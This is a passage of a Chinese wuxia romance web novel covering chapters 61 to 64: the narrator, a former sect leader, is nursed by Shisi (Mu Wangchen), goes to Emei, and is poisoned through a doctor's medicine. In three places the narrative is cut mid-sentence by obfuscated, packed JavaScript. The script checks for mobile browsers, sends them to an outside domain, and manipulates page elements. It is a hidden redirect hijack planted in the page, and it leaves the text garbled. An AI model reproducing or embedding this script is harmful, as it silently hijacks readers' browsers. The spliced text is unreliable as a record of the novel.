雨滴坠落在水中,滴滴答答;掉落在灌木叶上,窸窸窣窣;摔碎在山石上,噼噼啪啪。世间万物皆安静蛰伏在雨中,唯剩下那绵延不绝的雨声,在一片万籁俱静之中汇集成浑然和谐的声响,喧嚣而又宁静。 我轻轻吸了口气,张开了眼睛。 打量了一下四周,发现自己正身处在一个山穴里,山穴很浅,不过两丈见方。眼前烧着一簇小小的篝火,火星跳跃着,明灭不定得映亮了周围。而那火堆后,一个男子正背对我席地而坐。 山穴如此之浅,男子洁白的广袖和衣摆都在雨中被沾湿了一半。 我微微动了一下,想坐起来,却使不上分毫的力气。 十四刚才正在运功,听到动静,回头望着我,轻声道,“醒了?” 我头晕地厉害,全身发冷,连指尖都在止不住得在轻微颤抖。 “你身上旧伤未愈,又被内力震伤筋络,现在若不及时医治,恐怕会恶化……” 十四疏隔着篝火,定定看着我。他的瞳孔是半透明的琥珀色,火焰的光落在其中,把那双眸子渲染得如同琉璃一般耀眼。 大脑中有一个模糊的画面一掠而过。 仿佛是许久之前的某一瞬间的记忆。 那是一个男子在水中黑色的剪影。在一片深蓝色的水幕中,他美得像一尾游曳在深蓝中的鱼。 那画面瞬间与眼前人的样子重合起来。 我终于想起来,那年中秋夜,我突然毫无预警从七岁变回了原本的样子,十四见我落水,便潜入水中救我。现在回想起来,每当在我最无助的时候,十四,这个我的仇人,总会伸出手来拉我。这是何其可笑和讽刺的一件事。 我现在一丝一毫力气也没有,甚至连说话的力气都不剩。只是无神得张着双眼,一眨不眨得盯着他看。 两人默默对望了半晌,末了,十四垂眸,似乎是轻叹了一口气,淡淡道了一声“冒犯了”。 我觉得自己现在脑袋几乎不能运转,只能呆呆看着那高大的男子走过来。 他走到我身边,缓缓俯下身来。 我现在脆弱不堪,毫无自保之力。我不知道他想做什么,但是我知道他是十四,所以心底不会有一丝的抗拒和恐慌。 十四像是一根扎在我心头的刺。他留在哪里,便让我无地自容,无时无刻不提醒着我自己曾犯下的罪孽。我承认,我怕他,因为他的存在便是对我当年恶性的证明。但是我又不敢把那根刺拔掉,因为我害怕那一瞬加的撕心裂肺的疼痛。 十四仍然是有种淡淡的让我熟悉的清香,那味道总让我到剑阁后山那春意阑珊的原野。有清泉翠竹,鸟语花香。 他小心翼翼在我身边坐下来,然后解开自己的衣带,敞开貉子毛的外衣把我拉进怀里用衣服裹住。 我微微挣扎了一下也就作罢。 我实在是太累了,累极了,累的不想再挣扎,不想再反抗.......干脆随波逐流,干脆忘掉那些纠葛,那些人那些事...... 想到这里,我慢慢的放松了身体,阖上眼睛。 十四整个人圈着我,给我一个藏身之处,让我的满天满地,都只剩下他的味道。接着他摸索着找到我的手,将我的手轻柔而又有力得握在掌中,掌心相对,将内力源源不断透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349896|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过掌心输送进我的经络。 我靠在他的胸口,感觉温厚的内力丝丝渗透进自己的经络,将我四肢百骸的冰冷一点点驱散。我下意识的想将手抽回来,都被他更加用力得用力握紧。 不知多久之后,我终于逐渐从衰竭中恢复过来,也逐渐停止了颤抖。 男子的手指温热,相对的掌心出了一层薄薄的汗。 我把身体缩在他的怀里,神智渐渐清醒。 夜已深。我忽而觉得安心,就仿佛天地万物在这一瞬间忽然有了安放之处。 我虽是白玉蛟,虽是这江湖中万人畏惧的魔教教主。但是,我再怎么逞强,说到底,我不过是个人罢了。是人,便会受伤,会力竭,会恐惧,会怕,会痛,会死。 早在那一年师傅弃下我,我便已有了一道心伤;这道心伤,在金陵被十四一剑重重割开,被沈墨白一道强弩穿透,在锦官城被冷将息又伤的鲜血淋漓。这道伤口之痛,腐心蚀骨,这一年多来,日日夜夜折磨着我...... 大概我已经到了极限了吧。 我突然觉得,如果我不是白玉蛟,如果我只是一个普通的女孩子,能够在害怕的时候躲在别人的背后、在痛苦的时候藏在一个人的怀里哭泣、在灾厄降临的时候有一个人可以为你遮风挡雨…… 若是真能如此…… 我反手攥住了十四握着我的手,另一只手无声攥紧了他的衣襟。 十四低下头,把我又楼紧了一分。他有些心疼的低声问,“怎么了?哪里痛么?” 我摇摇头,而后忽然抬起头,在微暗的光线中定定盯着他的眼睛。黑暗中的眼睛倒映着火光,亮的令人心颤。 心脏忽然剧烈得跳动,我一只手按着十四的后颈,强硬而用力得把他拉近我。 我的唇印上他的,那时候,我察觉到他一瞬间的僵硬。但是下一瞬间,十四如同一个惊醒了的猛兽一般,激烈得回吻。 他灼热的气息将我吞没。我们像是溺水的人抓住救命稻草一般用力拥抱住对方,理智脆弱的像一根丝线,经不起拉扯便断了个彻底。 我不知道这一切是怎么开始的,我从头顶到脚尖都陷入了混沌和疯狂。 混乱中,我觉得很痛。我几乎是歇斯底里扯乱他的头发,用力抱紧他的后背。我简直就像是想要把他拆吃入腹一般的疯狂和狠毒,野兽一般的撕咬,指甲在他背上划出一道道鲜红的痕迹,牙齿用力的去咬他的肩膀他的锁骨他的脖颈,留下深深的印记。 我记得,我似乎喊了他的名字。 十四十四十四…… 如果你真的,只是我的十四,该有多好。 我的手指尖一下一下摩挲着他后颈那个小小的纹身,心疼的想要流泪。 61. 事后一根烟,快乐似神仙 倦意实在是太浓,我自己也不知是什么时候就陷入了沉沉的昏睡,等到我醒过来,天色早就已经大亮。 我试着动了一下,内伤已经恢复了不少,但却不知道为什么觉得特别疲惫,连脚趾甲都不想动一下。 我仰面看着山洞顶发了几秒呆,随即觉得这地方看起来貌似不太像客栈的卧房……这是在哪里啊?昨天似乎有见过凤栖梧然后……等一下……似乎有什么事不太对劲…… 我直挺挺坐起来,发现身上正盖着一个貉子毛外袍。乍一看有点眼熟,哦对了,昨天十四穿着这衣服…… 看着那件外袍我发了几秒钟的呆,然后,某些事情的片段突然涌进脑子里。 再然后,我就,彻彻底底,呆住了。 然后,我娇羞得把脸埋在手心里,陷入了庞大的自我厌恶之中……我果然是个如狼似虎欲求不满下半身没节操顶着少女脸坑骗纯良哥哥的怪阿姨,为啥我竟然把十四给吃了……而且还是在自己内伤颇重的情况下........怪不得一觉睡醒神清气爽的........尼玛这怎么有老娘练了种采阳补阴房中秘术的罪恶感........ 我这厢正痛心疾首自我反省,只见受害人十四,镇定得走了过来。他衣衫整齐,甚至连发丝都柔顺得垂在肩上不见丝毫凌乱。只是衣领下露出的修长脖颈上,有一丝丝细小的伤痕……嗯,本座的爪子挠的...... 他走到我身边,弯下腰递给我一个竹筒,里头盛着清澈的溪水,“渴了吧?” 我愣了一下,连直视他的勇气都没有,尴尬地别过脸去接过水,小声说了句“多谢”。 我刚捧起来喝了一小口,就听到十四以聊家常的语气问,“身体还好么?” 我瞬间想歪了,于是瞪大了眼盯着他。 十四却态度特别坦然接着往下说,“为什么一声不响的就离开了?”语气里其实是夹杂着一点点质问的成分。 我看天,不,是看洞顶,不加思索编了个借口,“呃……因为凤栖梧追杀我。” 十四轻笑,却一句话将我打回原形,“若是如此,你呆在我们身边岂不是更安全?” 我沉默了几秒钟,愣是想不出话来反驳,于是,我放下竹筒,瞪着眼睛用不耐烦的目光看着他。十四则是淡漠看着我,那眼神很像大人在看一个耍小性子的孩子,耐心又带了几分威严。 我都三十了,为何还非得被人教训啊?!而且还是被曾经的属下教训!真是越活越倒退了情何以堪! 我闷闷窝火,最后冷冷说,“我们不是一路人。” 十四闻言轻声一笑,淡淡道,“走江湖的人,脚下的路,都是差不多的。” 我很想反驳他,但是随即又觉得在这个问题上继续争执下去实在没什么意思。 “反正,我呢,看着你们这些名门正派就烦,我浪迹江湖我逍遥快活去,你凭什么拦着我?昨晚我也算把你救我的情还了,我走我的阳关道,你走你的奈何桥,我们两不相欠。” 十四表情僵了一瞬间。 他素来淡然的眼睛里流露出来的情绪,让我心中微微一动。 是了,我总是在伤害他。只要我呆在他的身边,就会带给他无尽的不幸。所以我还是趁早滚蛋了吧我。 许久之前的那个下雨天,他举剑想杀我,他的剑刺破我的血肉,然而他却自己痛苦万分。他那痛得连喊也喊不出声的表情,实在是……太让我记忆犹新,让我都觉得跟着痛,让我清楚的明白,同样的错,我绝不能犯第二次。 十四沉默得看着我,无法反驳。 他的确没理由拦着我,他不是我的谁。 现在的我和和现在的他,一个来历不明的女孩和武林盟的副盟主,不过是萍水相逢,相识两日;只是不巧我在他面前大醉了一场,又不巧他救了我性命;又更加不巧,神志不清的我和神志同样不清的他干柴烈火了一把的尴尬关系。 连个朋友都算不上。 十四抬起眼睛,用一种近乎低声下气的目光看着我,“凤栖梧在追杀你,你又受了内伤……不如先把内伤养好了再离开。” 听到这里我是真有点纠结起来了。我摆弄着手里的竹筒,有点拿不定主意。 昨天发生的情况的确让我有些心有余悸,凤栖梧那番深情表白着实是吓到了我,我宁愿他醉心权欲而不是执着于我!昨天若不是十四及时赶到,现在的我,就不知道落得什么下场了……想想我就觉得脊背发麻。 我正在出神,十四忽然一伸手臂,一下把我按到他的怀里。他抱的很用力,不容我挣扎。 “听一次话,让我护着你。” 他的下巴抵着我的发顶,语调轻柔又有点撒娇的意味。我僵硬了一瞬间,几乎就忍不住想答应他了。我对卖萌卖乖的行为其实有点没抵抗力。 我下了很大的决心,才用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我大概猜得到他在想什么,于是扔出一个甚是轻浮的笑容,“我就是这么随便的人,水性杨花,朝三暮四,你可别误会了。” 为了防止十四不信,我又继续添油加醋,“你看,昨天凤栖梧大张旗鼓的捉我,还不是把我捉回去给他暖床。哎,怪就怪我当年一着不慎,招惹了他,谁能想到他如此缠人。大家不过是逢场作戏而已,何必当真呢?闹得最后刀剑相向,真是难堪啊........你说是吧?" 十四听到这里,沉默了一下,随后微微扬起一个笑容,“我懂了。”只是,他这个笑容,并未达到眼底。 62. 本文隐藏着一个极究反派 最后,我还是跟着十四回了峨眉派。我和十四两人一路在林子里头东奔西窜的,又经过一夜夜雨,十四只是衣摆上略有些泥泞的痕迹,亏他一身白还能保持的如此干净。我却是狼狈的很,披头散发衣衫破烂不说,更加上我还重伤在身,整个人面如菜色,歪在十四怀里摇摇欲坠。 峨眉众师太师姐师妹们八成是日日显得发慌,得了消息便集体出来围观。离得老远,就见色彩斑斓发型各异的众位莺莺燕燕们在峨眉派门口列队欢迎,那场面蔚为壮观,惹得城内的百姓们纷纷驻足观看,并不时为众位姐妹的色相品评一番…… 我擦!杜青娥你怎么不带着你的姐妹们改行开青||楼啊!瞧这一个个职业般的笑容站姿,不去从事服务业真是另各位大大的屈才了啊! 我默默吐了个槽,然后推了十四一把从他怀里挣脱出来。 十四如今抢手的很,我可不想称为众侠女吃醋和默默扎小人的对象。 只是走了两步,我就腿软得歪了一下,结果被十四一把拉住手,趁势扶住我的胳膊,“别逞强了。” 我一想也是,总不能在峨眉这帮人面前摔个狗吃屎吧,那也太有损我好不容易树立起来的高贵冷艳的气质了。于是继续从善如流靠在十四怀里装死。 我们距离大门仍有五步之遥的时候,为首的杜青娥刚要迎上来,颜静行却突然不知道从什么地方杀了出来。她以雷霆万钧之势飚道我们面前,一把抓住我的手腕,声色俱厉道,“十四姑娘!你受伤了?!怎么会弄成这样?!” 秦黛黛也迅速反应过来,一个箭步窜到十四跟前,一脸担忧一把拉住他的手腕上上下下的检查,“穆哥哥可受伤了?昨日出门还好好的,怎么一转眼就除了事呢?” 杜青娥终于反应过来,默默走过来加入对话,“是啊,十四姑娘武功不弱,能把她伤到如此地步,对方似乎是有些来头……” 十四答道,“是凤栖梧。” 语落,众姐姐妹妹们均是一惊,尤其是曾经被绑票了的一干人等,都林中惊鸟一般瑟瑟发抖,生怕改日那凤栖梧就杀上门来了。 我瞥了她们一眼,好歹也是个名门大派,这也太掉份了…… 杜青娥脸色也变了变,不过总算是拿出了掌门师太应有的威武,“凤栖梧?!他竟敢如此明目张胆的出手伤人?” 穆忘尘只好答道,“他似乎是和西域鬼王宗联手,昨日正是鬼王宗的人用了‘天罗地网’阵伤了十四姑娘。” 众人齐齐倒抽一口冷气,看向我的目光顿时多了几分崇高的敬意。毕竟这天下能活着从“天罗地网阵”里出来的也不超五人。 不过我倒是没什么心情享受她们的注目,峨眉这帮人是有在家门口唠家常的毛病嘛!没看见周围围观的人都已经里三圈外三圈,围了个水泄不通了嘛!八成明天,不,今天下午,凤栖梧要来讨伐峨眉的消息就能传遍蜀中地界,明天就会传遍整个武林了。但是如此一来,凤栖梧对峨眉动手的几率倒是下降了不少,依据他那扭曲别扭的性子,最爱出其不意,最不喜欢从善如流…… 难道这就是峨眉派长期以来的保命秘诀?太奸诈了啊! 我看眼前这帮姑娘仍旧有絮絮叨叨唠叨个没完的架势,只能弱弱咳嗽了一声,“我说……有东西吃么,我快饿死了……” 杜青娥一脸讶异道:“呀,十四姑娘你怎么不早些说!” 我无语……我这不是没插上话么…… 于是,众人终于收了话茬。 ······ 我重新又窝回床上,在床上用了一碗莲子八宝粥之后又在我的强烈要求之下加了一大碗鸡汤外加一整只大鸡腿。 穆忘尘坐在我床边不时提醒我“吃慢点”“别噎着”“没人抢”,鸡婆程度较之于从前真是有过之而无不及。 秦黛黛貌似是不放心我和十四独处一室,左半边脸写着真诚的担心,右半边脸写着明显的吃醋,表情扭曲得站在我床前絮絮叨叨问穆忘尘昨日种种的前因后果。 颜静行不知为毛也挤过来凑热闹,莫非是峨眉真心太闲了? “十四姑娘,当日在觉苑寺我便察觉你似乎受了内伤,如今你的内伤更重,这样拖着似乎不妥啊。”颜静行说,露出母鸡一般怜爱的表情。 我被她那小眼神看得肝颤。 想想也的确是,我如今这身体真真是被折腾得七零八落。先前散功,气海丹田遭到重创,昨日又是经脉受损,十五别络、十五络脉没一处好的,任督二脉伤的尤其重。 自己的身体自己最知道这话真是不假,我略一运气,就大约知道我这身体,这辈子武功什么的是别想再练了。经络之伤积重难返,只能越发笃重。如今的武功,怕是也会随着时间慢慢衰弱。 今后,我怕是连内力也不能随意运用。 想到这里,我突然发现自己浪迹天涯的美梦估摸着是破灭了。用这么个身体浪迹天涯,没浪几天怕是就要是横尸路边曝尸荒野了。 穆忘尘见我沉默不语表情越发凝重,忽然握着我的手道,“少林派的雪鉴大师在医理方面造诣颇高,我与他私交不错,不如我去一封信,请他来替你看伤?” 我表情没怎么变,但心脏猛的一缩,呼吸也瞬间凝滞了一下。我觉得自己大约真的是个不能让自己活的舒坦的人,不时总要用些尖锐的东西刺一刺,刺得疼了才罢休。明知道想起顾染织就会一遍遍的疼,我却几乎是执拗的不愿忘了他。 记忆中雪鉴和顾染织的眼睛很像,尤其是那眸子的那一抹懒散、不经意与淡淡的讥诮。 想到这里,我眼睛一眯,浅浅一笑,“好啊,据说雪鉴大师乃是前三百年后三百年绝无仅有的帅和尚,我一直心有悱恻,借此机会与他结交一番,似乎也不错。” 穆忘尘表情略略有点僵,但还是涵养良好得点头,“我立刻修书一封。” 秦黛黛这花痴发花痴真心是不分场合,当着心仪对象穆忘尘的面就开始夸夸其口,“十四姑娘你这次可真是说对了!当年我第一次见到雪鉴师傅的时候还以为他是什么狐仙妖孽化成的呢!他若是对你一笑,真是七魄都要被勾走六个了!” 颜静行嘴角抽了抽,戳了一下秦黛黛的软肋,“死丫头,你乱说什么混话呢!回头雪鉴师傅如若知道了,定会狠狠生你的气!” 秦黛黛笑着躲开,“别别别,爱美之心人皆有之嘛,我只是实话实说。你可千万在雪鉴师傅面前乱嚼舌根!” 我看着眼前秦黛黛和颜静行嬉笑玩闹,突然有点伤感。想我白玉蛟活了这么些年,看得顺眼的男人都上了咱的床,看的顺眼的女人不是我前辈就是我属下,仔细想想,我竟然连半个朋友都没有……想到这里,我忽然想起了苏小小。我一离开镜花宫,也不知道教内局势如何,何易之与凤栖梧杠上,也不知有没有吃亏。若是总坛内乱,那金陵那边可否还安好…… 随后我又略有点自嘲得笑了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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床边伸出一只手来适时扶了我一把,我略微一怔,一抬头发现是穆忘尘。 他扶着我坐好,回身沏了一杯温茶递给我,“口渴么?” 我就着他的手喝了几口,老实道,“饿了。”这饭来张口衣来伸手,起个床都有人扶的待遇,我自然要好好享受。 “你胃口倒是好。”穆忘尘苦笑。 我扭头看见一张书信被随意放在桌上,穆忘尘随着我的视线看过去,略显无奈叹了口气道,“我方才去信邀雪鉴来,结果就收到沈盟主的急件,说是近两日便会到达此处。沈兄一离开武林盟,雪鉴八成是脱不开身了。” 沈墨白要来?这唯恐天下不乱的家伙要是再进来搀和一腿,可想而之蜀中怕是最近能闹腾翻天了……再一想到这家伙厚颜无耻锲而不舍的对我死缠烂打……我顿时有一种头疼欲裂想要夺门而出的冲动…… 穆忘尘细细观察着我的神色,见我一脸痛苦眉头紧皱,便关心道,“可是身体不适?” 我老实回答道,“头疼啊……” 穆忘尘自然是不知道我是因为沈墨白而头疼,所以略有些担心得把手掌覆上我的额头,“是昨天受了风寒么?” 我“切”了一声,表示非常不屑,“我哪有那么弱不禁风?” 之后,我又喝了颜静行送来的蛤蜊冬瓜汤,用了些点心便睡下了。 碍着一个未娶一个未嫁,碍着男女有别,穆忘尘就回了自己的卧房。 结果不料,第二日竟然让姓穆的乌鸦嘴一语成畿,我还真就生病了。 63. 冰火两重天 我腰软腿软得裹着一身被子从床上翻下来,拖着步子“噔噔噔”敲开了穆忘尘的房门。 此时才刚过寅时,晨光与黑暗之间的交接之时,天色如若沉沉的湖水。我扰人清梦却分毫没有一点愧疚之心,因为我心里总觉得我生病这茬事,穆忘尘是脱不开关系的。谁叫他乌鸦嘴说了那一句“受了风寒”。 我心里正念叨着,面前的门开了。 穆忘尘披着一件外衣,手撑在门框上。一头墨色的黑发顺着肩膀坠落到腰间。昏暗的天色里,唯见他那一双眼睛清澈明亮。 我对他这一副美人早起图很是欣赏,只是这美人看清楚我那倒霉催的虚弱模样,瞬间就变了脸色。 我觉得脚下一轻,就被穆忘尘连人带被子给一把捞起来抱着,大踏步转身放回了自己的床上。 “这是怎么了?”穆忘尘把手背贴在我的额头上试了试温度,“莫非是受了风寒?” “不知道,头痛得厉害。”我缩在被子里头装柔弱。 穆忘尘把自己的被子也拖过来替我盖上,完了还细心得掖好被脚。 “你坚持一会儿,”他放轻声音用手指蹭了蹭我的脸颊,“我这就去请大夫。” 他说完,不等我反应便动手急急更衣,转身就要出门。 我赶紧一把拉住他的袖子。 十四也是急糊涂了,这么早的天色,哪里会有医馆开门。他自己在峨眉城里也是人生地不熟,又能到哪里去请大夫呢? “还是等天亮了再去吧。” 穆忘尘抬手试了试我额头的温度,神色越发焦急,“不行,你这病来势汹汹很是凶险。我这就去找杜掌门。她总会认得城里的大夫。” 我这厢头疼得昏昏沉沉,也就随他去了。 我迷迷糊糊又睡了一会儿,便听到门口一阵嘈杂。穆忘尘扯了杜青娥前来。 杜青娥走路摇摇晃晃的,一脸迷迷糊糊的表情,显然是被穆忘尘给从床上强行拖出来的。她身后还跟着一个胡子一大把的老大爷,老大爷手里提着一个医箱,八成是个大夫。 杜青娥一看我的样子,神色也瞬间清醒了不少,似乎是被我的病容给吓醒了。看来我病的还真是不轻,至少外表必须是病容怏怏,半死不活。 “也真是赶巧了,昨日我身体不适这才请了张大夫替我瞧病,不想今日十四姑娘也病了。”杜青娥解释道,然后引了老大爷坐到床边,“张大夫快替这位姑娘瞧瞧。” 那老大爷一脸褶子,眼睛也藏在眼皮的褶子里了,让人看不清神色。他摸了一会儿我的脉象,也没多说什么,取了纸币龙飞凤舞狗刨般的写了一张方子,就做了个揖,转身出门了。 杜青娥赶紧跟上,“我这就派个人去随张大夫抓药煎药,十四姑娘,你好生休息。” 穆忘尘感激得对杜青娥点了点头,两个人眉来眼去之间颇有些默契。 穆忘尘在床边坐下,把我刚才放在被子外面被诊脉的手又塞回被子里。 穆忘尘是个极会照顾人的性格,这一点倒是与杜青娥有点相似。都是奶爸奶妈的性格,注定一辈子替别人劳心劳力。 想到这里,我心有戚戚焉,看着穆忘尘道,“其实杜青娥也是不错的” 穆忘尘苦笑了一下,便再没了下文。 我沉沉快要睡着的时候,才听到他低低得如同叹息一般的自言自语,“她们每一个人都很好,只是她们都不是你。” 都怪穆忘尘的那句碎碎念,我这一觉睡得甚是不踏实。丫鬟端着熬好的药送来的时候,我便醒了。 丫鬟很是小心得端着药壶放在桌上,细声细气道,“我来伺候姑娘吃药。” “我来。”穆忘尘回头对她说,顺带附赠了一个翩然儒雅的微笑。 于是,小丫鬟满脸羞红,面如粉霞一般的出去了。 我看到这一幕,脸色不禁黑了黑。从前我怎么不记得那个叫十四的榆木疙瘩有如此这般散发荷尔蒙如天女散花的本事,莫非是当年受了顾染织潜移默化的影响? 穆忘尘掀开那药壶盖子,一股浓郁的黄连苦味扑面而来,我顿时脸色就更加黑了。 穆忘尘将药承在碗里端过来,我一脸警惕看着他,他也看着我。 我们俩僵持了一会儿,最后我败下阵来,伸手要去接那药碗。但是被穆忘尘制止了,他说,“太烫。” 我眼睛一亮,这正合我意,我正不想喝那贼难喝的东西呢。于是我往旁边一指,“那就先放一边吧,我过会儿再喝。” 穆忘尘似乎是看出来我在想什么,伴着淡淡一笑,他说:“吃药要趁热。” 我嘴角抽了抽,你到底要怎样 穆忘尘奕奕然在床边坐下,左手端着药碗,右手执着小勺,舀了一勺药凑到唇边吹了吹才又递到我面前。 “乖乖喝了。”他柔声道,还附赠一个晃得人眼晕的微笑。 若是旁人,穆忘尘这般柔情似水,恐怕是座冰山也能给化成一滩春水了。 只是我面对着他的时候,总有一种“老娘已经是过来人”那沉舟侧畔,过尽千帆的感觉……着实很难面红心跳。 我一脸愁苦抿了抿那个黑漆漆的药,被那扑面而来的苦味熏得一阵头晕眼花。于是我皱起眉头,一把推开他的手。 “怎么了?”穆忘尘略有些莫名。大约是没想到我竟然怕苦。 我自然也是拉不下脸来承认自己嫌苦,于是哼哼了两声,小声嘟囔,“还是很烫……” 穆忘尘无奈笑了一下,重新又舀了一勺,自己先用唇抿了抿,试了试温度之后,才又凑到我嘴边,引诱道,“不烫的,乖。” 我垂眼看着眼皮底下的勺子,只好硬着头皮喝了一口。 如此循环往复,喝了大约小半碗之后,我终于被那药诡异的味道恶心得再也喝不下去了。于是作可怜状缴械投降,嘟着嘴巴撒娇,“好难喝……” 妄图以卖萌撒娇来打退锲而不舍的穆忘尘。 穆忘尘暗自纠结,在忍心与不忍心之间徘徊了一会儿之后,最后还是毅然决然决定必须让我把药给喝下去。 “只剩下不多了,再忍一下?”穆忘尘循循善诱。 我坚决摇头。 “那伴着蜂蜜一起喝可好?” 我摇头的幅度更加夸张。 穆忘尘用尽浑身解数哄了我半天我仍旧是不为所动,最后他无法,威胁道,“你要是再不乖乖喝药,我就要用嘴喂你了!” 他说完,就作势要去喝那碗里的东西。就在他的唇即将触碰到碗边的一瞬间,我猛然想到了什么,突然发狠了一巴掌抽过去,把那陶瓷小碗打翻在地。 瓷碗在地上摔了个粉碎,发出刺耳的声响。 穆忘尘愣愣望着那地上的碎片,一时间,表情不知是尴尬还是受伤。 我吸了一口气,用力抓住他的手指,慢慢吐出来几个字。 “这药……有毒” 这药里头有毒,也是我始料未及的。这里是峨眉派,有谁会向我下毒呢?难道是凤栖梧? 我来不及继续想,只觉得一股寒气从心口升起,一下子蔓延到四肢百骸。我抓住穆忘尘的手指不可抑制得开始发抖,那指尖冰冷至极,我甚至能感到自己从骨头里向外散发的森森寒气。 穆忘尘显然是被我这幅模样吓到了,显然他也是根本没想到竟能有这么一出。 他两只手捧住我的脸,惊惶道,“怎么会这样?!” 我最近大大小小各种内伤外伤不断,伤着伤着也就习惯了。我此刻第一个冒出来的念头却是:十四他不会也中毒了吧?! 我抓住他的手腕,略有些焦虑,“你怎么样?刚才试药有没有喝进去?快运功,把毒逼出来!” 穆忘尘这是蓦然惊醒,一把扶起我,手心按上脉门,“先别管我!我先替你逼毒!” 突然间,门口一阵嘈杂。接着门就被一掌推开了。 杜青娥秦黛黛等人冲进来的时候,正巧看到我衣衫不整得靠在穆忘尘怀里,而穆忘尘一只手环着我,另一只手放在比较可疑的位置…… 秦黛黛先失声尖叫,“这是怎么回事!” 杜青娥也以为自己撞见了什么不该看的东西,脸色很是难堪,于是咳嗽了两声,岔开话题,“刚才张大夫在他自己的房里,服毒自尽了。” 穆忘尘冷眼望着她们,那眼神冰冷得几乎能从里头射出冰凌子来,“十四姑娘她喝了那位张大夫配的药,中了毒。” 张大夫此时畏罪自杀,如此一来死无对证,这分明就是有预谋的暗杀。引荐了张大夫的杜青娥于是背起了最大的黑锅。 杜青娥也不傻,立刻就想到了这一点,脸色顿时黑得如同锅底。 穆忘尘还欲继续开口,我突然出其不意点了他的穴道。 我冷这脸对着杵在门口的那一堆熊孩子挥了挥手,“你们出去。” 秦黛黛被我那目光一扫,吓得整个人都抖了一抖。于是峨眉派的姐妹们纷纷退场。 杜青娥这次总算还蛮镇定,吸了一口气说,“十四姑娘,你为何要点穆公子的穴道?此时须得他替你运功疗伤才是。” 我翻了个白眼,“他不肯自己疗伤,非得要替我运功。我中毒已深,毒性已经扩散到奇经八脉,再逼也没什么用了,我还是替你们的这位穆公子运运气,说不定效果还比较好。” 杜青娥了然,望着我的目光突然露出一种万般的慈爱关怀,充满母性光辉,“十四姑娘你这又是何苦。不如我来替穆公子逼毒。” 闻言,我怀疑得瞟了她一眼,“你行吗?” 杜青娥如此红果果被我鄙视,自然是尴尬无比,顿时脸憋得通红,“十四姑娘你有所不知,我峨眉派的外家功夫虽然不强,但是峨眉派的内功心法却还是独有所长的! 穆忘尘被我们晾在一边,脸都气绿了,他几乎是咬牙切齿一字一句道, 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盘腿坐在我对面的杜青娥收敛了内力,深深呼吸了几下才缓过劲来,弱弱得问我,“可有什么感觉?” 我非常郁闷,哆哆嗦嗦咕哝,“快冷死了。” 杜青娥怨念看了我一眼,显然是自尊心大受打击。毕竟她自己夸下海口说自己内功好,结果折腾这么久只是徒劳无功。她整理了一下衣服从床上下去,一步一晃得走到门口,扒下门闩。 穆忘尘一直守在门口,他和杜青娥目光交错。杜青娥伤感得摇了摇头,“十四姑娘中毒太深,我才疏学浅,无能为力。” 我看杜青娥如此大受打击的样子,心里有点过意不去,便解围道,“是这毒来的古怪。杜掌门可知什么毒会让人全身发寒?” 杜青娥继续苦着脸摇头。 站在门外看热闹的颜静行不冷不热插了一句,“会不会只是风寒加重了?” 众人默默忽略之。 一直站在门口偷窥的秦黛黛突然冒出脑袋,“我在武林盟的时候,曾经听雪鉴师傅说过,有一种毒叫做‘冰火两重天’。中了此毒的人会突然如坠寒潭,突然如入炼狱,忽冷忽热……好像那是镜花宫宫主白玉蛟最爱使的毒!难道是镜花宫的人对十四姑娘下的手?” 在场的人都作出略带疑虑的沉思表情,只有我默默囧了一下。 我低声解释道,“不是,‘冰火两重天’每隔一刻钟就会冷热交替一次。此毒只冷不热。” 的确,“冰火两重天”这东西就是我整出来的……江湖传言和事实之间着实存在一定差距的,而且这差距还真是不小。那“冰火两重天”其实算不上是什么毒,只是我当年年少轻狂之时,调|教人或者床第之间增加情趣用的小把戏,其间重重细节还是不作回忆为好……不少白道大侠小侠们都被我用这招折腾过,于是留下了深刻的心理阴影,被放回去之后,就各种添油加醋…… 众人商议无果。 杜青娥深深叹了口气,“抱歉,我实在累了,先回去休息……”她说完,就扶着墙慢慢走了,背影很是寥落。 剩下的诸人纷纷作鸟兽散。最后只剩下了个穆忘尘。 ··· 穆忘尘走到我身边,有些手足无措得站着,不知该如何是好。他那眼神与记忆中的十四重叠起来,像一只无端让人觉得可怜的大型犬类。 我对他虚弱得笑了一下。 如今我也真是折腾不动了,在极度的寒冷中,我只想睡。只是这一觉睡过去,我怕会再也醒不过来。 “穆忘尘,你过来,”我对他张开手臂,“抱着我好吗?我好冷……” 他的眼里闪过一丝痛苦,立刻坐过来,小心翼翼从背后把我抱在怀里,那动作轻柔得仿佛害怕一个不小心就会把我弄碎了似的。 后心传来阵阵暖意,他摸索到我冰冷到几乎冷得刺人的手指,整个握在手心里。 我知道他在源源不断输送内力替我驱寒。 如果这个毒解不开……. 我想到这里,却并没觉得恐惧。 我把头埋在穆忘尘的颈窝里,轻轻嗅着他身上淡淡的味道。 许久之后,我轻声说,“我要是就这样死了,你也不必为我伤心。此生,我并无什么遗憾了。”我说的字字为真。这一生,负担的太多,背负的太多,我已经累了,已经足够了。 其实早在那一天顾染织弃我而去,何知易倒戈相杀;那一天我在云顶山庄疯了一般的屠杀;那一天在锦官城绵绵的细雨中,冷将息重又出现在我的面前.......一次又一次,我发现自己何其多余,何其不该存在在这世上。 穆忘尘环着我的手臂忽然紧了紧,他的唇轻轻碰了一下我的额角,“一定会有办法的。你一定不会有事。你的人生,还会很长很长……” 64. 上言长相思,下言久离别 我从没觉得原来寒冷也会置人于死地。 